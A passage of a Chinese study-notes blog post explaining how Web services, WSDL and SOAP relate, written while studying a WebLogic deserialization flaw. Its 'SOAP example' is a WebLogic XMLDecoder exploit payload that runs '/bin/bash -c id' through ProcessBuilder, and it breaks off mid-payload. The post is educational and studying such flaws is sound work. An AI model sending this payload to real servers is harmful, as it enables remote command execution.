Webservice、WSDL、SOAP之间的关系-2020-10-21

• 学习weblogic漏洞的时候遇到了xmldecoder反序列化漏洞，于是研究了一下xml、soap、webservice、WSDL等相关知识，从网上各种搜集+理解+总结如下（部分摘自其他大牛文章）。供参考：
•  
• Webservice是一种基于Web发布的服务，是一种解决跨平台、跨语言间的应用程序想要相互调用或沟通而设计的技术手段。WSDL+SOAP是webservice这种技术的具体实现。

Webservice使用Web(HTTP协议)方式，接收和响应外部系统的某种（xml格式的）soap请求。从而实现远程调用.

 

• SOAP协议规定了跨平台或跨语言的两个应用程序间的消息以何种形式如何传输。soap协议需要依赖于HTTP协议使用的协议，它依赖于HTTP协议创建的传输通道。

soap协议是基于HTTP协议，发送和接受XML格式的数据。

SOAP实例：

<?xml version="1.0"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>id</string>
                        </